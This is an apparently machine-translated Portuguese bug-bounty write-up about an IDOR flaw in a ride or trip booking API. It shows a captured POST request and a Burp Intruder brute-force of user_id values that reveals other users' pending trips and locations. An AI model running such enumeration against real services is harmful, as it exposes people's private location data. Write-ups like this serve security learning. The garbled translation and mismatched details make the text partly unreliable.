IDOR Divulga Informações de Viagem Pendente de Usuário | Parte 01
Olá Amazing Hackers e entusiastas de segurança, hoje vou escrever sobre algo muito importante. Identificar bugs de IDOR que levam a aquisições completas de contas sem interação do usuário é meu primeiro bug de IDOR.
Vamos fazer algumas informações sobre o IDOR antes de pular no bug
IDOR (referências de objeto direto inseguras)
As referências inseguras de objetos diretos (IDOR) são um tipo de vulnerabilidade de controle de acesso que surge quando um aplicativo usa entrada fornecida pelo usuário para acessar objetos diretamente. As vulnerabilidades IDOR são mais comumente associadas à escalação horizontal de privilégios, mas também podem surgir em relação à escalação vertical de privilégios.
Então, vamos chamar o alvo de target.com. Comecei com o Recon no domínio principal. Agora, depois do Recon, comecei a entender como o aplicativo funciona. Basta abrir o Burp. e comece a analisar o aplicativo como ele funciona, como ele processa a solicitação, veja quais métodos são permitidos. analise o código-fonte para qualquer chave de API secreta, ou qualquer token ou endpoints.
Eu procuro e uso algumas funcionalidades como atualizar perfil, carregar imagem de perfil e alterar senha sem senha antiga e monitorar cada solicitação e resposta usando arroto.
Bug 01: IDOR divulga informações de viagem pendentes do usuário .
Eu agendo uma viagem e depois faço uma solicitação para obter informações sobre a minha viagem. então o pedido parece
/target-dev/index.php/UserPortal/Trip/tripListByUser
Solicitar aparência
POST /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1
Host: app.target.com
Cookie: _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0; _ga=GA1.1.749545081.1669213744; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=Direto; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778; ci_session=4rk74md1hpc0hrac5dfv3li2av
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Aceitar: application/json, text/plain, */*
Aceitar idioma: en-US,en;q=0,5
Aceitar codificação: gzip, deflate
Tipo de conteúdo: application/x-www-form-urlencoded
Comprimento do conteúdo: 59
Origem: https://app.target.com
Referer: https://app.target.com/target-user-portal/
Sec-Fetch-Dest: vazio
Sec-Fetch-Mode: cors
Sec-Fetch-Site: mesma origem
Te: reboques
Conexão: fechar
{“user_id”:”1654”,”status”:”pendente”,” T ARGETAUTHKEY”:8342}
Agora observe as duas coisas: a primeira é T ARGETAUTHKEY e a segunda é “user_id”:”1654".
envie esta solicitação ao repetidor e veja a resposta que você obtém as informações sobre as informações de viagem pendentes.
Agora, depois disso, envie a solicitação para o intruso e a força bruta do “user_id” e a carga útil é Number Start de 0000 a 9999 e a sequência é 1. Clique em Start Attack. E liste a solicitação e a resposta no tamanho Booom, você obtém outras informações de viagem pendentes do usuário, divulgando o ID do usuário e o local de escolha e entrega do usuário.
Resposta semelhante
{“user_id”:”418”,”status”:”pending”,”LOADMEEAUTHKEY”:8012, Trip_Id:XXXX, Tripe_location: “user pick data”, Tripe_destination: “trip drop location”, Essitemate_total:35000}
E então esta resposta revela as duas coisas
- registrar ID de usuário e localização
- Dados da viagem
Happy Hacking